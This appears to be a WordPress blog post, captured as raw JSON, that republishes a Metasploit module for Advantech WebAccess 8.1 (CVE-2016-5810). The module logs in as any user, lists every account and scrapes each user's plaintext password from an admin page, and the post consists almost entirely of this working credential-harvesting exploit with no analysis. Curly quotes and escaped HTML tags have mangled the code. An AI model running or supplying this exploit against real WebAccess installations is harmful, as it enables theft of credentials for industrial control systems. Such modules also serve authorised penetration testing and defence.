##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient<\/p>\n
def initialize(info={})
super(update_info(info,
‘Name’ => “Advantech WebAccess 8.1 Post Authentication Credential Collector”,
‘Description’ => %q{
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
Although authentication is required, any level of user permission can exploit this vulnerability.<\/p>\n
Note that 8.2 is not suitable for this.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘h00die’, # Pointed out the obvious during a PR review for CVE-2017-5154
‘sinn3r’, # Metasploit module
],
‘References’ =>
[
[‘CVE’, ‘2016-5810’],
[‘URL’, ‘https:\/\/github.com\/rapid7\/metasploit-framework\/pull\/7859#issuecomment-274305229’]],
‘DisclosureDate’ => ‘2017-01-21’
))<\/p>\n
register_options(
[
OptString.new(‘WEBACCESSUSER’, [true, ‘Username for Advantech WebAccess’, ‘admin’]),
OptString.new(‘WEBACCESSPASS’, [false, ‘Password for Advantech WebAccess’, ”]),
OptString.new(‘TARGETURI’, [true, ‘The base path to Advantech WebAccess’, ‘\/’]),
])
end<\/p>\n
def do_login
vprint_status(“Attempting to login as ‘#{datastore[‘WEBACCESSUSER’]}:#{datastore[‘WEBACCESSPASS’]}'”)<\/p>\n
uri = normalize_uri(target_uri.path, ‘broadweb’, ‘user’, ‘signin.asp’)<\/p>\n
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => uri,
‘vars_post’ => {
‘page’ => ‘\/’,
‘pos’ => ”,
‘username’ => datastore[‘WEBACCESSUSER’],
‘password’ => datastore[‘WEBACCESSPASS’],
‘remMe’ => ”,
‘submit1’ => ‘Login’
}
})<\/p>\n
unless res
fail_with(Failure::Unknown, ‘Connection timed out while trying to login’)
end<\/p>\n
if res.headers[‘Location’] && res.headers[‘Location’] == ‘\/broadweb\/bwproj.asp’
print_good(“Logged in as #{datastore[‘WEBACCESSUSER’]}”)
report_cred(
user: datastore[‘WEBACCESSUSER’],
password: datastore[‘WEBACCESSPASS’],
status: Metasploit::Model::Login::Status::SUCCESSFUL
)
return res.get_cookies.scan(\/(ASPSESSIONID\\w+=\\w+);\/).flatten.first || ”
end<\/p>\n
print_error(“Unable to login as ‘#{datastore[‘WEBACCESSUSER’]}:#{datastore[‘WEBACCESSPASS’]}'”)<\/p>\n
nil
end<\/p>\n
def get_user_cred_detail(sid, user)
vprint_status(“Gathering password for user: #{user}”)<\/p>\n
uri = normalize_uri(target_uri.path, ‘broadWeb’,’user’, ‘upAdminPg.asp’)<\/p>\n
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => uri,
‘cookie’ => sid,
‘vars_get’ => {
‘uname’ => user
}
})<\/p>\n
unless res
print_error(“Unable to gather password for user #{user} due to a connection timeout”)
return nil
end<\/p>\n
html = res.get_html_document
pass_field = html.at(‘input[@name=”Password”]’)<\/p>\n
pass_field ? pass_field.attributes[‘value’].text : nil
end<\/p>\n
def get_users_page(sid)
vprint_status(“Checking user page…”)<\/p>\n
uri = normalize_uri(target_uri.path, ‘broadWeb’, ‘user’, ‘AdminPg.asp’)<\/p>\n
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => uri,
‘cookie’ => sid
})<\/p>\n
unless res
fail_with(Failure::Unknown, ‘Connection timed out while checking AdminPg.asp’)
end<\/p>\n
html = res.get_html_document<\/p>\n
users = html.search(‘a’).map { |a|
Rex::Text.uri_decode(a.attributes[‘href’].text.scan(\/broadWeb\\\/user\\\/upAdminPg\\.asp\\?uname=(.+)\/).flatten.first || ”)
}.delete_if { |user| user.blank? }<\/p>\n
users
end<\/p>\n
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ‘webaccess’,
protocol: ‘tcp’,
workspace_id: myworkspace_id
}<\/p>\n
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)<\/p>\n
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]}.merge(service_data)<\/p>\n
create_credential_login(login_data)
end<\/p>\n
def run
cookie = do_login
users = get_users_page(cookie)<\/p>\n
users.each do |user|
pass = get_user_cred_detail(cookie, user)<\/p>\n
if pass
report_cred(
user: user,
password: pass,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: ‘AdminPg.asp’
)<\/p>\n
print_good(“Found password: #{user}:#{pass}”)
end
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info={})super(update_info(info,‘Name’ => “Advantech WebAccess 8.1 Post Authentication Credential Collector”,‘Description’ => %q{This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.Although authentication is required, any level of user permission can exploit this vulnerability. Note that …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59303","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59303"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59303\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}